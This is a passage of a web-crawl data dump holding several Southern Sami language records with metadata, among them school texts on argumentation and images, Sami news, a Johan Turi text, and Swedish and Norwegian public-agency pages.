lohkije-tjaaleginieKjernestoff","id":"","dump":"CC-MAIN-2019-18","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:175119\/topic:1:173412\/resource:1:173187","date":"2019-04-22T15:07:12Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-18\/segments\/1555578555187.49\/warc\/CC-MAIN-20190422135420-20190422161420-00086.warc.gz","language":"sma","language_score":0.9999893904,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 0.99998939037323}","num_words":223,"character_repetition_ratio":0.074,"word_repetition_ratio":0.0,"special_characters_ratio":0.132,"stopwords_ratio":0.117,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Subjektijve guvvie akte viehkie-vierhtie guvvie-raajrojne. Dellie guvviedæjja nuepiem åtna mijjem baajedh heannadimmiem dååjredh tjelmiejgujmie akten almetjijstie.\nSubjektijve guvvie\nAktene guvvie-raajrosne dle åajvahkommes heannadimmiem ålkoelistie åehpiedahta. Daejnie mïelebe lohkije almetjidie dåerede åenehks jallh guhkies maajeste. Men guvviedæjja aaj nuepiem åtna mijjem baajedh heannadimmiem dååjredh tjelmiejgujmie akten dejstie almetjijstie. Mijjieh daam viehkie-vierhtiem gåhtjobe subjektijve guvvie.\nGuvvieh mah raajrosne mijjieh vuesiehtimmiem gaavnebe guktie subjektijve guvvie åtnasåvva. Voestes jïh gåalmadinie guvvesne ålmam ålkoelistie vuejnebe, mearan mubpene guvvesne sïejpem vuejnebe naemhtie guktie ålma mij dan uvte tjåådtje, jïjtje dam dååjroe.\nBaakoe\nSaemien\nDaaroen\nsubjektijve guvvie\nsubjektivt bilde\nGuvvie-raajroeKjernestoff","id":"","dump":"CC-MAIN-2019-18","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:175143\/topic:1:175146\/resource:1:172837","date":"2019-04-22T03:20:37Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-18\/segments\/1555578533774.1\/warc\/CC-MAIN-20190422015736-20190422040722-00008.warc.gz","language":"sma","language_score":0.9996291399,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9996291399002075}","num_words":93,"character_repetition_ratio":0.102,"word_repetition_ratio":0.0,"special_characters_ratio":0.125,"stopwords_ratio":0.054,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Gïelem Nastedh, Snåasesne, prieviem Saemien gærhkoe raaran tjaaleme, guktie laejhtieh gærhkoem, ihke baejieh almetjh kraevelem seamma biejjiem utnedh, goh dihte Saemien åålmege biejjie. Åejvie Sara Marja Magga bååhpere.\n– Daate øøvre rovneligs! Saemien åålmege biejjiem, edtjebe heevehtidh jih dellie muvhth jeatjah almetjh kraevielisnie. Tjuerieh saemide krøøhkestidh. Gïelem nastedh, åejvie Sara Marja Magga jeahta.\nØørnegem Saepmesne buektiehtidh\nMubpien våhkan edtja Saemien gærhkoeraerie tjåangkanidh jih åejvie Anne Dalheime tuhtjie daate aamhtese ålvoes-nåake.\n– Ij leam daan bijre govleme. Manne tuhtjem, ij edtjh naan kraevele Nøørjesne, Saemien åålmege biejjesne årrodh. Daate ålvoes- nåake. Tjoeveribie øørnegem buektiehtidh mij abpe Saepmesne, seamma gaajhk laantine. Saemien gærhkoeraerie maahta barre eevtjedh, dah bæspah dah mij maehtieh daam nænnoestidh jih maam darjodh, Dalheime jeahta.\nGuktie edtjede dijjieh daelie barkedh?\n–Daan våhkan edtjem tjåanghkose Sveerjese, gusnie bæspah Nøørjeste, Sveerjeste jih Såevmeste edtjieh gaavnedidh jih dellie edtjem daan aamhtesen bijre soptsestidh, jih daan mænngan edtja Saemien gærhkoe raerie mubpien våhkoese tjåangkanidh jih dellie edtjebe daan bijre raarastalledh Dalheime jeahta.\nIj leah Nrk Sapmi ennje, Nidarosen bïspem, Tor Singsaasem jakseme.","id":"","dump":"CC-MAIN-2019-18","url":"https:\/\/www.nrk.no\/sapmi\/kraevele-saemien-aalmegebiejjesne-1.12226288","date":"2019-04-18T15:43:42Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-18\/segments\/1555578517682.16\/warc\/CC-MAIN-20190418141430-20190418163430-00428.warc.gz","language":"sma","language_score":0.9999958277,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"sma_Latn_score\": 0.9999958276748657}","num_words":167,"character_repetition_ratio":0.078,"word_repetition_ratio":0.0,"special_characters_ratio":0.165,"stopwords_ratio":0.09,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Det samiska språkets alla varieteter har varit undanträngda under stora delar av 1900-talet. För att vända på språkbytesprocessen behövs flera olika insatser.\nDet kan exempelvis vara utbildningsmaterial som är anpassade för det svenska skolsystemet, fler modersmålslärare och möjligheter till språkbad på olika nivåer under skoltiden.\nIntresset för språket växer i takt med ökad självkänsla och styrkt identitetsuppfattning, inte minst bland barn och ungdomar. Även vuxna samer behöver möjligheter att kunna studera samiska och återta sitt språk.\nDet sydsamiska området omfattar i stora drag Västerbotten, Jämtland, delar av Härjedalen och Dalarna samt motsvarande områden på norska sidan. Det finns ungefär 500 personer som talar sydsamiska i Sverige, de är utspridda inom ett ganska stort område. Sydsamiska förekommer på båda sidor om den svensk-norska gränsen från Arjeplog-Saltfjäll i norr till Idre och Röros i söder.\nÅarjelsaemien\nSaemiengïeli ovmessie varieteeth, leah vöörhkeldahkesne stoerre biehkide 1900-taalesne orreme. Ihke gïelemolsemeprosessem jårredh, gellieh ovmessie barkoeh daerpies.\nDïhte maahta vuesiehtimmien gaavhtan ööhpehtimmie-ïebnh årrodh mah daaroen skuvlesysteemese sjïehtesjamme, jienebh ietniengïelelohkehtæjjah jïh nuepiem gïelebeasan ovmessie daltesisnie skuvleboelhken nuelesne.\nÏedtjem gïelese sjïdteminie seamma aejkesne goh jïjtjedomtoe jïh identiteete garrebe sjædta, sjïere maanide jïh noeride. Aaj geerve saemieh nuepieh daarpesjieh ihke lohkedh jïh bååstede saemiengïelem vaeltedh.\nÅarjelsaemien gïeledajve lea Viesterbetnie, Jemtlaante, biehkiem Haerjedaeleste jïh Dalarnistie jïh dovne seamma dajvide Nöörjen bielesne. Medtie 500 almetjh åarjelsaemiengïelem Sveerjesne soptsestieh jïh stoerre dajvesne bårrojde leah. Åarjelsaemiengïele gåabpegh bielide Sveerjen-Nöörjen raastesne lea, Aarjeplueveste\/Saltfjelleste noerhtene gosk Eajrese jïh Plassjese åarjelisnie.\nSenast ändrad\/granskad: 11 december 2018","id":"","dump":"CC-MAIN-2019-18","url":"https:\/\/www.stromsund.se\/1021.html","date":"2019-04-25T15:05:55Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-18\/segments\/1555578721468.57\/warc\/CC-MAIN-20190425134058-20190425160058-00508.warc.gz","language":"sma","language_score":0.9125379324,"language_script":"Latn","minhash_cluster_size":20,"top_langs":"{\"sma_Latn_score\": 0.9125379323959351, \"swe_Latn_score\": 0.07931672036647797}","num_words":235,"character_repetition_ratio":0.029,"word_repetition_ratio":0.0,"special_characters_ratio":0.151,"stopwords_ratio":0.06,"flagged_words_ratio":0.0,"lang_id_score":0.928,"perplexity_score":500.0,"cluster_detection":1} +{"text":"–Daan biejjien sïjhtem uvtemes Saemien Sijtem jïh åarjelsaemien byjresem læhkoehtidh gosse saahtah vååjnoe Saemien Sijte aktem orre jïh vyörtegs gåetiem åarjelsaemide jïh åarjelsaemien kultuvrese åådtje. Seamma tïjjen sïjhtem jiehtedh daate aaj akte stoerre biejjie abpe Saapman, saemiedigkieraerie Henrik Olsen jeahta.\nBijjelen 30 jaepieh åarjelsaemieh leah bigkemen åvteste barkeme aktede orre åarjelsaemien museumistie jïh kultuvrejarngeste. Saemiedigkesne akte dåaresthpolitihkeles sïemesvoete orreme gellie jaepieh Saemien Sijte lea akte dejstie ellen vihkielommes prioriteradimmijste Saemiedægkan.\nStaatebudsjedte bæjhkoehtamme sjædta båetijen måantan ts. 10.00.\nSaemiedigkieraerie Henrik Olsen, tlf: 915 42 098.","id":"","dump":"CC-MAIN-2019-18","url":"https:\/\/www.saemiedigkie.no\/Preesse\/PRM-Stoerre-biejjie-Saemien-Sijtese-jih-Saapman","date":"2019-04-24T18:40:20Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-18\/segments\/1555578655155.88\/warc\/CC-MAIN-20190424174425-20190424200425-00084.warc.gz","language":"sma","language_score":0.9999929667,"language_script":"Latn","minhash_cluster_size":7,"top_langs":"{\"sma_Latn_score\": 0.9999929666519165}","num_words":79,"character_repetition_ratio":0.097,"word_repetition_ratio":0.0,"special_characters_ratio":0.152,"stopwords_ratio":0.165,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Dïhte bielie argumentasjovneste mij rïektesem våaroemisnie åtna jïh maam maehtebe mænngan gïehtjedidh, daamtaj ræhpas jallh ryöktesth argumentasjovne gohtjebe.\nRæhpas argumentasjovne\nDïhte bielie argumentasjovneste mij rïektesem våaroemisnie åtna jïh maam maehtebe mænngan gïehtjedidh, daamtaj ræhpas jallh ryöktesth argumentasjovne gohtjebe. Daate såarhts argumentasjovne vihkielommes daejremes tjaaleginie dan åvteste mijjieh striengkies krïevenassh bïejebe ihke argumeenth leah aamhtesen bïjre jïh gåarede dejtie gïehtjedidh.\nAarvoe-gyhtjelassh\nMen doh jeanatjommes gyhtjelassh mejtie digkedeminie, eah leah ajve aamhtesen bïjre. Gyhtjelasse mejtie dotkijh edtjieh åadtjodh pryövenasse-kreekh provhkedh jallh ij, dam hijvenlaakan vuesehte. Daate akte gyhtjelasse aarvoej jïh vuajnoej bïjre seamma jïjnje goh gyhtjelasse rïektesen bïjre. Dan åvteste tjoerh tjaeledh naemhtie guktie dovne åejjiem jïh vaajmoem doehtedh lohkijen luvnie. Datne tjoerh aaj ussjedammes jïh maehteles vååjnedh, guktie almetjh datnem goltelieh.\nGuktie tjeakoes argumentasjovnem vueptiestidh?\nArgumentasjovne mij åajvahkommes mijjen domtesh tsavtsa, tjeakoes jallh ovryöktesth argumentasjovne gohtjebe. Goh lohkijh dle ibie iktesth dejtie tjalmehth. Dan åvteste maahta geervebe årrodh tjeakoes argumentasjovnem laejhtehkslaakan dåastodh goh argumentasjovne mij lea ryöktesth. Gosse mijjieh dam ovryöktesth argumentasjovnem tjaalegisnie goerehtibie, dellie daejtie aatide vuartasjibie:\n- mah vuajnoeh jïh domtesh tjaelije åtnose vaalta\n- mah gïeleldh viehkie-dïrregh tjaelije nuhtjie juktie lohkijem tsevtsedh\n- maam tjaelije dorje juktie ussjedammes jïh maehteles vååjnedh\nLissie-lahtese: Retorihke jïh argumentasjovne\nJoe bijjelen göökte stoerretjuetie jaepiej mænngan doh båeries greekerh vïhtesjin guktie baakoeh, kråahpegïele jïh argumentasjovne goltelæjjide tsevtsiehtin. Daam daajroem dah öörnegen sijse bïejin, jïh retorihkem jallh learoem soptses-kåansten bïjre evtiedin. Ibie maehtieh jïejkedh greekerh lin tjiehpies vïhtesjæjjah, juktie jalhts jïjnjh orre meedijah leah båateme daej göökte stoerretjuetie jaepiej, goh gærja, tellefovne, raadijove, filmh, tv, gaskeviermie jïh sagke jienebh, dle tjoerebe ajve vihtiestidh doh jeanatjommes njoelkedassh dehtie tïjjeste annje lea faamosne.\nLogos, etos jïh patos\nGreekerh vïenhtin akte håalije sov goltelæjjah tsavtsa golmelaakan. Dah gåhtjoejin dejtie golme apellehammojde logos, etos jïh patos. Logos-appelle lea seamma goh ræhpas argumentasjovne, jïh lea aamhtese-argumeenti bïjre mejtie håalije buakta.\nEtos jïh patos leah appelle-hammoeh mah ånnetji tjeakoeslaakan åtnasuvvieh:\n- etos lea håalijen ussjedammesvoeten bïjre\n- patos lea domtesi bïjre mejtie håalije gååske sov goltelæjjaj luvnie jïh vuajnoej bïjre mejtie appellerede\nMaehtebe jiehtedh etos jïh patos tjåanghkan lea dïhte tjeakoes argumentasjovne.\nBaakoeh\nSaemien\nDaaroen\nræhpas argumentasjovne\nåpen argumentasjon\naarvoe-gyhtjelasse\nverdispørsmål\nArgumentasjovneKjernestoff\nNihtieh kreeke-pryövenassh!Kjernestoff","id":"","dump":"CC-MAIN-2019-18","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:172880\/topic:1:182050\/resource:1:172898","date":"2019-04-24T15:07:11Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-18\/segments\/1555578643556.86\/warc\/CC-MAIN-20190424134457-20190424160457-00220.warc.gz","language":"sma","language_score":0.9999946356,"language_script":"Latn","minhash_cluster_size":14,"top_langs":"{\"sma_Latn_score\": 0.9999946355819702}","num_words":349,"character_repetition_ratio":0.094,"word_repetition_ratio":0.053,"special_characters_ratio":0.137,"stopwords_ratio":0.129,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Publicerad: 28 augusti 2018\nVeeljemesïetelh\nVeeljemesïetelh viskes veeljemisnie rïjhkebeajjan, plaave veeljemisnie laantedigkiereeremasse jïh veelkes veeljemisnie tjïeltereeremasse jïh Europa-parlameentese.\nDah veeljemesïetelh seamma stoeredahke jïh materijaale utnieh. Golme såarhth veeljemesïetelh gååvnesieh veeljemisnie:\nKrirrieveeljemesïetelh\nVeeljemesïetelinie krirrien nomme men kandidaatehts.\nNommeveeljemesïetelh\nVeeljemesïetelinie dovne krirrien nomme jïh kandidaati nommh.\nGåaroes veeljemesïetelh\nVeeljemesïetelh gusnie ij krirrien nomme jallh kandidaati nommh.","id":"","dump":"CC-MAIN-2019-18","url":"https:\/\/info.val.se\/servicelankar\/other-languages\/aarjelsaemiengiele-sydsamiska\/veeljemesietelh.html","date":"2019-04-19T19:07:11Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-18\/segments\/1555578527866.58\/warc\/CC-MAIN-20190419181127-20190419203127-00270.warc.gz","language":"sma","language_score":0.9997957349,"language_script":"Latn","minhash_cluster_size":16,"top_langs":"{\"sma_Latn_score\": 0.9997957348823547}","num_words":52,"character_repetition_ratio":0.197,"word_repetition_ratio":0.0,"special_characters_ratio":0.119,"stopwords_ratio":0.077,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Tillväxtanalys lea staaten reereme Näringsdepartemeenten nuelesne jïh dïhte lea reerenassistie barkoem åådtjeme sveerjen reesemepolitihkem joekehtehtedh jïh vuarjasjidh. Dïhte bijjemes ulmie lea sveerjen gaahtjemefaamoem nænnoestidh jïh tsiehkide skaepiedidh jienebh barkoeh jienebh jïh sjïdteminie jieliemadtjine gaajhkene lehkine laantesne.\nMijjieh vuarjasjimmiegujmie, joekehtehtemigujmie jïh statistihkigujmie barkebe gamte sveerjen jïh internasjovnellen perspektijvesne. Mijjen barkoe darjomisnie jïh pryöveme dåårjehtallemisnie vealasjeminie jïh mijjen maahtoevåarome edtja våarome årrodh politihken nænnoestimmide reerenassesne jïh rïjhkebiejjesne. Mijjen barkiji lea reesemepolitihkeles maahtoe ovmessie suerkine. Mijjieh aaj jeatjah reeremigujmie laavenjostebe jïh ålkolen ekspeertigujmie barkedh juhkoe bööremes illedahkide jaksedh. Mijjen barkojne tjoerebe lïhke Reerenassekanslijine laavenjostedh.\nMijjen barkoe\nTillväxtanalysen ulmieh lea maahtoevåaromem gaavnedh mij reesemepolitihkem dåarjodh jïh internasjovnellen gaavnedimmiem freemmedh. Tillväxtanalys lea reerenassen staabenreereme vuarjasjimmide, joekehtehtemidie, ålkoelaantevåaroemen veartenenbïjrevaaksjomidie jïh edtja reesemepolitihken dajvine freemmedh. Reeremen barkoeh maehtebe daejtie prioriteereme dajvide juekedh:\n1. Dïenesjh, dïenesjeinnovasjovnh jïh juhteles innovasjovnesysteeme.\n2. Ålkoelaantekontovre globaliseerimen nuepieh gorredidh.\n3. Barkoem kapitaaledåårrehtimmine jïh raeriestimmine læssanidh.\n4. Dïhte territoriellen dimensjovnen guarkoe buerie reesemetsiehkide abpe Sveerjesne.\n5. Statistihke jïh daatabaash vaaksjoemisnie jïh effektiviseeremisnie.\n6. Reesemepolitihke tjïrkes evtiedæmman.\nDah golme goevtesh: Innovasjovne jïh globalen gaavnedimmiesijjieh, Entreprenörenvoete jïh jieleme jïh Stïeresne jïh regionaalen reeseme, dïedtem utnieh ovmessie bielieh barkoeportfoliojste jïh bööremes illeldahkese laavenjostoeh. Tillväxtanalys lea organisasjovne abpe veartanisnie jïh dan lea 40 barkijh. Åejviekontovre lea Staaresne jïh mijjieh libie aaj Stockholmesne. Generaldirektöören nomme Sonja Daltung.","id":"","dump":"CC-MAIN-2019-18","url":"https:\/\/www.tillvaxtanalys.se\/other-languages\/aarjelsaemien-sydsamiska.html","date":"2019-04-25T16:33:23Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-18\/segments\/1555578727587.83\/warc\/CC-MAIN-20190425154024-20190425175127-00019.warc.gz","language":"sma","language_score":0.9999985695,"language_script":"Latn","minhash_cluster_size":20,"top_langs":"{\"sma_Latn_score\": 0.9999985694885254}","num_words":201,"character_repetition_ratio":0.068,"word_repetition_ratio":0.0,"special_characters_ratio":0.118,"stopwords_ratio":0.169,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Tjaalege \"Barkedh skuvlen bealese? Jaavoe gæjhtoe!\" akte digkiedimmie-tjaalege. Gosse edtjh digkiedimmie-tjaalegem tjaeledh dellie hijven daam tjaalegem maalline nuhtjedh.\nBarkedh skuvlen bealese? Jaavoe gæjhtoe!\nGellie noerh daan biejjien skuvlen bealese berkieh, vuesiehtimmien gaavhtan skuvlen mænngan, hïelji jallh giesie-eejehtallemen. Dah ov-messie barkoem darjoeh - maanah sujhtieh, prïhtjh-gåetine berkieh, bensijne-bovrine, beapmoe- jïh vaarjoe-bovrine jallh dagke skïemtje-hïejmesne. Manne aaj skuvlen bealese barkem, jïh dejnie tråjjedem. Mov mïelen mietie jïjnjh hijven aevhkieh dagkeres lissie-barkoem utnedh.\nUvtemes beetnegh dïenesjh guktie maahtah åestedh dam maam sïjhth. Gaajh hijven slyöhpedh eejhtegidie gihtjedh fïerhten aejkien gosse maam akth daarpesjh, juktie dov leah jïjtjedh beetnegh. Dellie vielie geerve domth! Jïjnjh eejhtegh eah leah dan jealamadtje, jallh gellie maanah utnieh. Dellie amma sjiehteles dïhte noere jïjtje luksusem maaksa, goh dovres mobijlem, sjïere mïerhke-vaarjoeh jallh eejehtallemem. Ohtje lissie-barkoe nuepiem vadta jïjtjemse ånnetji vielie ånnadidh. Aaj maahtah jeanatjommesem beetnegijstie spååredh goske edtjh gåeteste juhtedh. Dellie dån dovne buertiem stovlh jïh tjöövken-dïrregh daarpesjh, dagke bïjlem aaj. Gosse edtjh gåetie-löönemen bïjre baanghkesne syökedh, dle hijven jïjtjedh beetnegh utnedh, juktie dagke sïjhth jïjtjedh årrome-sijjem båetijen biejjien åestedh?\nJeatjah aevhkie lissie-barkojne lea datne vyörtegs barkoe-dååjrehtimmieh åadtjoeh. Datne lïerh dovne dïedti jïh reaktaj bïjre barkoe-jieliedisnie, jïh lïerh barkoe-tïjjide steeredh jïh njoelkedassh barkosne fulkedh. Jis mænngan ihkuve barkoem ohtsedh, dle barkoe-vedtije daamtaj aktem almetjem sæjhta mij ij ajve maehteles, men aaj barkoe-dååjrehtimmiem aarebistie åtna. Gosse buektiehtamme dovne skuvlem jïh barkoem gïetedidh, jallh ih ajve gïjveldamme eejehtallemi, dle dïhte jïjnjem dov bïjre soptseste. Lissine dov barkoe-dååjrehtimmieh vuesiehtieh datne maahtah barkedh.\nGåalmede vihkeles argumeente skuvlen bealese barkedh lea barkoe maahta datnem skreejredh dastegh skuvleste jïh teoretihkeles faagijste vïssjehtovveme. Barkoe maahta murreds lïegkedimmie sjïdtedh skuvlen jïh leaksoej gaskem, guktie maahtah mïsse-akt jeatjah ussjedidh. Lissine barkoe maahta datnem viehkiehtidh guarkedh skuvle-daajroeh nuhteligs aarke-biejjien jieliedisnie. Gosse beetnegh barkosne gïetedh, dle vuesiehtimmien gaavhtan madtematihkem rïektesisnie nåhtedh. Ih maehtieh tjarkadidh gaajhkem maam ryökneme-masjijnesne darjoeh lea staaran, juktie jis yöjtede diedtieh, dle ajve datne jïjtje, viehkine madtematihkine åejjesne, mij maahta buajhkedh mij akt båajhtode. Jïh dle byörh buektiehtidh vaestiedidh bielelen kalkulatovrem nuhtjedh jis naaken gihtjie vaarjoen åasan bïjre mij lea giehpiedamme 30 prosentine! Dagkerh tsiehkine vuajnah nåhtoem åadtjoeh destie maam lïereme, jïh dïhte datnem skreejrehte vielie lïeredh.\nGellie hijven fåantoeh gååvnesieh man åvteste barkedh skuvlen bealese. Jïjtse beetnegh, nuhtegs barkoe-dååjrehtimmie jïh lissiehtamme skraejrie juktie skuvlem tjirrehtidh leah sån naaken dejstie vihkielommes fåantojste, men nov sån jienebh aaj gååvnesieh. Dan guhkiem skuvlem hijven-laakan gïetedh, dle sïjhtem jiehtedh ajve aevhkieh dagkarinie lissie-barkojne. Dan åvteste sïjhtem noeride juvnehtidh barkoem skååffedh - idie dam saangerdh!\nVïjhteboelhke-vuekien bïjreKjernestoff\nDigkiedimmie-lahteseKjernestoff\nKååserijeKjernestoff\nPersovneles essayKjernestoff\nFaage-tjaalegeKjernestoff\nTjåanghkoeKjernestoff\nByjjes prievieKjernestoff\nNaemhtie byjjes prievie maahta vååjnedhKjernestoff\nGuktie e-påastem tjaeledhKjernestoff\nKååserije jïh petiteKjernestoff\nLohkije-tjaalegeKjernestoff\nAkte hijven maadth-bïhkedasseKjernestoff\nGïeleviehkie-dïrregh lohkije-tjaaleginieKjernestoff\nNihtieh kreeke-pryövenassh!Kjernestoff\n- Kjernestoff","id":"","dump":"CC-MAIN-2019-18","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:175119\/topic:1:173412\/resource:1:173303","date":"2019-04-25T01:18:17Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-18\/segments\/1555578675477.84\/warc\/CC-MAIN-20190424234327-20190425015531-00076.warc.gz","language":"sma","language_score":0.99999547,"language_script":"Latn","minhash_cluster_size":9,"top_langs":"{\"sma_Latn_score\": 0.9999954700469971}","num_words":431,"character_repetition_ratio":0.066,"word_repetition_ratio":0.0,"special_characters_ratio":0.14,"stopwords_ratio":0.072,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Johan Turi tjaalegem Vaajese Eatnamistie rovneges juvri bijre tjaaleme. Tjaalege gærjeste Åvtese jåhta jïh Åsta Vangberg tjaalegem åajelsaemien gïelese jarkoestamme.\nVaajese Eatnamistie rovneges juvri bijre\nEatnamisnie juvrh gååvnesieh mej bijre almetjh eah raakte maam daejrieh. Mohte dennie dajvesne ov-vihkeles juvrh veasoeminie gusnie eah jeatja juvrh maehtieh bearkanidh. Daejtie juvride eah almetjh miere-laantese luejhtieh maaje eah daejrieh guktie dej veasome. Muenieh dejtie bööremes desnie årrodh guktie eah vijriebasse saajenh. Gosse aerebi bearkanamme gaertjies laantine, dellie sih daan mænngan aaj.\n«Mijjieh laantem jijtje daarpesjibie edtjibie bearkanidh jih jis vielie dagkeres tjaebpies laanth gaavnibie, dellie juvride beltibie nåakebe laantide mah eah mijjese sjiehth. Novh leah dah juvrh aerebi orreme dej buerie laantine mohte mijjen maadtoe-almetjh dejtie beltiejin nåakebe dajvese. Aelhkie dejtie beltedh juktie rievkeds leah jih eah leah vaarege gænnah. Jis eah buerie laakan bearkenh, eah jeanenh, ij dihte maam darjoeh. Ij leah vaarege jis dejtie nåake veasome jih njåvtasovveme, dej jieleme leah nimhtie orreme.»\nEah leah almetjh vaadtseme vuajneme guktie veasome, mohte tjiejhkerdisnie vuajneme jieleme lea. Mohte almetji ij vihties maahtoe guktie veasoeminie. Naaken almetjijstie vienhtieh dej buerie veasome jih naaken sih aaj vaajtelieh båetije veasoje buerie sjædta.\nDah juvrh eah goerpedh jalhts dåehkie almetjijstie muenieh dah skåårhpesjieh jih dagkeres saernieh almetjidie guedtieh guhth eah maam daejrieh dej juvri bijre. Nimhtie naakenh dejstie almetjijstie sijhieh juvride laamoehtidh jih nimhtie vöörhkelidh. Mohte naan rijhken åejvieladtjh eah ennje sijhth luhpiem vedtedh dagkeres nåhkehtæmman. Naaken sih daejrieh juvri nåake veasomen jih nåvtasovven bijre jih nimhtie vaejviestieh.\nSåemies almetjh sih leah tjoeveramme væjmedh daejriemisnie guktie dah juvrh nielkiem jih goenehtahkem gaarsjelieh. Govleme libie naaken almetjh dejtie sijhtieh buvvedh eevre goh ovjuvrh — jis luhpie.\nLuhpehth, dellie vihkeles åejvieladtjide viehkine åadtjodh juvride dubpiebasse jååkedh jih aaj laantide gaertjiehtidh. Mohte destie båata juvrh læjjanieh jih nimhtie juvre-laaken gaavhtan båajhtode. Jis daej juvri hosbåanta vueptiestamme dam nåake veasomem, dellie buerie jih vielie laantem dejtie åasteme. Mohte juvri ij naan hosbåanta guktie nimhtie tjuerieh læjjemen nuelesne abpe jielemem årrodh. Dihte nåake dejtie guhth dovne guarkajieh jih ussjedieh. Dihte guhte daam tjaaleme, vaajtele aarmoe aaj tjoevkem juvri tjelmide buakta goh jeatjabidie mejtie Jupmele skaepiedamme.\nMinngemes edtjibie Jupmelen vaarjelimmesne årrodh guktie maanetje tjidtjien eskesne gusnie bööremes årrodh.\nBaakoeh\nSaemien\nDaaroen\nrievkeds = rïeveds\nsky\ntjijhkerdisnie\ni kikkerten\ngoerpedidh\nher; skade\nskåårhpesjidh\nher; gjøre skade\nvæjmedh, vamedh\nvære grinet, klage og bære seg\nlæjjanidh\nbli utsatt for lidelse\nlæjjeme\nher; lidelse\nLaavenjassh: Don aejkien vaarjoej bïjreKjernestoff\nLaavenjassh: Tïjjen 1965 åvtelenKjernestoff\nLaavenjassh: Biejjie-baernieKjernestoff\nLaavenjassh: Johan Turin tjaalegidieKjernestoff\nTjaelieh ussjeden tjaalegemKjernestoff\nLaavenjasse Elsa Laulan bïjreKjernestoff\nLaavenjassh Elsan håalemasseKjernestoff\nÅehpiedehtieh saemien-faageles teemamKjernestoff\nLaavenjassh: GuldnasasKjernestoff\nLaavenjassh: Såångedidh jïh pruvredhKjernestoff\nMåersie faavroeKjernestoff\nSoelege jih nåejtieKjernestoff\nDon aejkien vaarjoej bïjreKjernestoff\nBiejjie-baernien såangoeKjernestoff\nBiejjie-niejten sealadimmieKjernestoff\n- Kjernestoff\nMaana-sujhtemen bïjreKjernestoff\nSaemien tsiehkiej bïjreKjernestoff\nDej baaletje såangoeKjernestoff\nKaarre mij edtji vïjvem veeljedhKjernestoff\nSåångedimmie jïh hïejeKjernestoff\nÅenehks soptseshKjernestoff\nGuldnasasKjernestoff","id":"","dump":"CC-MAIN-2019-18","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:186476\/topic:1:184089\/topic:1:189078\/resource:1:190652","date":"2019-04-19T17:32:31Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-18\/segments\/1555578527865.32\/warc\/CC-MAIN-20190419161226-20190419183226-00388.warc.gz","language":"sma","language_score":0.9998950958,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"sma_Latn_score\": 0.9998950958251953}","num_words":452,"character_repetition_ratio":0.079,"word_repetition_ratio":0.0,"special_characters_ratio":0.138,"stopwords_ratio":0.071,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Taalh Learohkegoerehtimmeste vuesiehtieh saemien learohkh irhkemem dååjroeh sijjen skuvleaarkebiejjien. Dotkeme maam dotkije Astrid M. A. Eriksen Saemien healsoedotkemejarngesne lea dorjeme vuesehte saemien nyjsenæjjah Nöörjesne leah vielie vædtsoesvoetem jïh daaresjimmiem dååjreme goh nöörjen nyjsenæjjah. Vaenie learoevierhtieh daej teemaj bïjre gååvnesieh.\nVihkeles daajrojne\n– Daate akte itjmies tsiehkie maam ibie maehtieh jååhkesjidh, tjoerebe learoevierhtieh reebledh mejtie skuvlh maehtieh nuhtjedh jïh mah maehtieh trïegkenassem, båajhtoeh åtnoem geeruvevoeteste, vædtsoesvoetem jïh seksuelle daaresjimmiem heerredidh, saemiedigkieraerie Mikkel Eskil Mikkelsen jeahta.\nSaemien maanah jïh noerh daarpesjieh lïerehtimmiem åadtjodh jïh daej teemaj jïh haestemi bïjre ussjedadtedh jïjtsh gïelesne.\n– Tjoerebe doestedh vuesiehtidh, soptsestidh jïh digkiedidh daej aamhtesi bïjre, Mikkelsen jeahta. Munnjien vihkeles saemien lohkehtæjjah hijven learoevierhtieh åadtjoeh mejtie maehtieh lïerehtimmesne nuhtjedh, Mikkelsen jeahta.\nGaahtjemem bæjhkoehtamme\nDaelie Saemiedigkie aktem gaahtjemem bæjhkoehtamme dejnie aajkojne mierielatjkoem darjodh learoevierhtieprodusentigujmie, mah maehtieh dåaresthfaageles digitaale learoevierhtieh darjodh noerhte-, julev- jïh åarjelsaemien gïelesne maadthskuvlese jïh jåarhkelïerehtæmman daej teemaj sisnjeli:\n- Kråahpe, seksualiteete jïh raastebïejeme\n- Heerredimmie geeruvevoeteste, vædtsoesvoeteste jïh daaresjimmeste\n- Heerredimmie trïegkenasseste, narrahtimmeste jïh sïerredimmeste\nGaahtjeme lea 